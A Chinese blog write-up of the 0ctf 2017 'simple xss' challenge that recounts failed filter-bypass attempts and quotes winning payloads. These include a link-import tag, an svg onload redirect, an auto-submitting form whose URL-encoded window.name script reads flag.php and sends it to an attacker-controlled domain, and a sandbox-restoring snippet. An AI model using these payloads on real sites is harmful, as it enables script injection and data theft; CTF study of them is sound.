按下回车键跳到正文

[爬坑笔记]0ctf 2017 xss

第一次参加ctf…真的是好醉…我xss做的本来就少,基础知识不牢做起来真的抓耳挠腮的..

感觉这道题感觉满满的坑点, 还都让我踩到了, 说一下血泪史吧

第一个simple xss

上地址:https://router.vip/

首先看了一下题目要求, 是让直接同目录下的获取flag.php的内容就行了(直接试了试伪造IP, 嗯…是我天真了)

一开始还觉得跟simplesqlin一样是个送分题, 简直比起complicated xss省事多了啊

然后又看到题目中说的加了一些过滤, 需要绕过

所以说本题的难点就在于bypass了对吧~.~

先去试了一下过滤程度…数字字母全没过滤, 符号基本过滤完了..最后能用的符号就有这些:

~|_^\=<-+*

= =好少,想想怎么构造payload吧..

最简单的直接引 script?

<script src=xss

额,直接写网址肯定不行, 因为过滤了/ 符号, 网址中没有 // 默认会在当前域名下打开不让用 点 号

试一下二次url编码? 不行 百分号过滤了

base64…也不行,逗号分号都过滤了

然后再看看js函数,试着各种拼接一下, 括号被过滤…嗯没关系 用\+进制编码表示…特喵的括号也过滤了

好吧 一定有什么其他的方法…..于是google xss bypass, 还真挺多….owasp里有一个挺全的cheat sheet, 我找到两个能用得上的bypass

过滤 // 的情况下, 使用 \\ bypass:Protocol resolution bypass

过滤  . 的情况下, 使用dword bypass: Dword encoding

现学现用, 将我的ip转换了一下 得到的(伪)结果是: 110110110

然后抱着试试看的心理去试了一下

<script src=\\110110110

发现怎么也不执行= = 连报错提示都没有, 然后我本地试了一下原因

知道真相的我眼泪流下来

原来chrome下script标签不闭合是不会被执行的啊!!!

嗯….常识  我不懂= =

那就…接着换套路呗

换成iframe试一试

<iframe src=\\110110110

嚯~这次出报错了

Not allowed to load local resource: file://6.144.37.158/

嗯…是file协议啊…….说好的https呢..

而且Not allowed是怎么回事…

搜了一下, 说是chrome会默认阻止file跨站请求

到这里我感觉到了我全身在僵硬.

从该题有解的情况下来看, 我感觉在禁了大部分符号的情况下要构造其他域名的URL就只能用\\开头了

还有就是在点号被禁了的情况下用dword encoding应该也是对的吧

实在没头绪.我还是决定作死一试, 直接提交payload

<iframe src=\\110110110

登录我的服务器, nc 听一下443端口, 看看能收到什么信息

不一会儿, 服务器真的收到了数据, 不过大多是乱码, 其中意思明确的字符只有

HTTP/1.1up

我以为是什么hint, 最后发现是http header upgrade

看来收到的数据真的没什么用, 不过我发现了一个事情, 那就是我本机报错的代码在服务器上可以运行, 也就是说服务器执行那个iframe的时候没有出现:

Not allowed to load local resource: file://6.144.37.158/

但是我当时并不知道为什么= =一开始以为是0ops故意留得漏洞 = = 这就让我更坚信了用\\没错

但是用\\来表示当前域的话会默认继承协议, 也就是https, 我的网站没有证书肯定访问不了, 所以又去弄了个脚本一键签证书

然后我又想到了一件事, 我之前再用浏览器时不小心把句号当成点输入过网站, 比如: lzskyline。com, 浏览器是会自动转换的….也就是说我的网址不需要用dword表示了…但是好像并没有进一步解决问题

思来想去 在过滤了大部分符号的情况下, 又不能用script标签导入js, iframe或者img的src都没法执行脚本, 只能get请求一下我的网站,这样没法跨域flag没法传过来,这题cookie也没啥用

 

于是我去翻了翻html标签手册,想从中找到一些能执行脚本的新玩意,然而手册里只是简单介绍了一下每个标签, 一些属性并没有具体说明是做什么的, 导致我错过了最后的机会

看了看时间, 凌晨了…明天周一还要上课….这题最终还是放弃了= =

===================================================

时间如流水一般, 比赛结束的当天就有大佬写了writeup,看到答案的我眼泪流下来

===================================================

看了答案之后, 一些迷迷糊糊的地方豁然开朗了…不得不说 虽然这次比赛有遗憾, 但是真的能学到知识

首先是这句话:

这里需要注意的是href的值,其中是\\,而不是//,html标签中可用//替代http://,但是这里为啥可用\\,因为\\在windows下会是file协议,在linux下才会是当前域的协议

我知道了为什么我本地测试一直不能通过的原因

然后看了看他们的payload:

既然可以使用 \,那就意味着可以 import一个 url, import 非常好用,在能够使用的情况下比起 iframe 的好处是没有跨域的问题,因为 import 相当于把另一个网页 include 进了当前域。

于是来了个 payload:

<link rel=import href=\\ip2long

知识就是硬伤! 我第一次知道了这玩意是干嘛用的= =

有时候你离成功就差一个知识点!!!

再来看另一个大佬的payload:

<svg id=\ onload=location=id+id+12345609861+domain+id+1234+id

<html>
<body>
<form id=”send” action=”https://router.vip/preview.php?” method=”POST”>
<input type=”hidden” name=”payload” value=”&lt;svg&#32;onload&#61;location&#61;name” />
<input type=”submit” value=”Submit request” />
</form>
<script>
window.name =”javascript:%76%61%72%20%78%68%72%20%3d%20%6e%65%77%20%58%4d%4c%48%74%74%70%52%65%71%75%65%73%74%28%29%3b%0a%78%68%72%2e%6f%70%65%6e%28%27%47%45%54%27%2c%20%27%68%74%74%70%73%3a%2f%2f%72%6f%75%74%65%72%2e%76%69%70%2f%66%6c%61%67%2e%70%68%70%27%2c%20%66%61%6c%73%65%29%3b%0a%78%68%72%2e%73%65%6e%64%28%29%3b%0a%69%66%20%28%78%68%72%2e%73%74%61%74%75%73%20%3d%3d%20%32%30%30%29%20%7b%0a%20%20%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%73%3a%2f%2f%31%32%33%34%35%36%30%39%38%36%31%72%6f%75%74%65%72%2e%76%69%70%2f%31%32%33%34%2f%3f%72%65%73%75%6c%74%3d%27%2b%78%68%72%2e%72%65%73%70%6f%6e%73%65%54%65%78%74%3b%0a%7d”;
document.getElementById(“send”).submit();
</script>
</body>
</html>

(

PS:这里我省略了部分提交预览时用不到的input标签

PSS:为了这个题去买一个域名真的够拼的….

)

看到了这个payload我才知道恍然大悟的发现好多东西不需要点号就能表示…

location = location.href = window.location.href

id = this.id 包含 this.getAttribute(‘id’)

这种不正经的表达方式估计很多教程都不会提及吧….

还有这个用window.name传xss绕检测的方法….

真的是学到了…

在complicated xss中恢复沙盒的方法也值得记录一下:

//https://segmentfault.com/q/1010000007477941

function fix() {

var iframe = document.createElement(‘iframe’);

iframe.src = ‘about:blank’;

document.body.appendChild(iframe);

window.XMLHttpRequest = iframe.contentWindow.XMLHttpRequest;

}

fix();

最后附上大佬们的连接:

0ctf 2017 quals web writeup

http://www.cnblogs.com/iamstudy/articles/0ctf_2017_web_writeup.html

https://docs.google.com/document/d/1r_iqxVc7__WcHrecouUTcwm-lGs0gIOls_nto-LARpo/mobilebasic

From LzSkyline's Blog : https://www.lzskyline.com/archives/305

2 条评论

  1. Endless Path
    Endless Path 2017年3月24日

    hhh,感觉境遇很相似啊。0ctf也是我第一次打ctf,基本上所有题都卡住了。看了wp发现其实都是知识点不了解,非常同意博主的“这种不正经的表达方式估计很多教程都不会提及吧….”。
    共同努力吧,看博主能尝试了那么多种方法就感觉已经很厉害了,另外OWASP的链接收下了.

    • L. S.
      L. S. 2017年3月26日

      😂哈哈哈,这次学到了不少东西,多参加几次,慢慢爬坑吧,加油~。~

发表评论

电子邮件地址不会被公开。 必填项已用*标注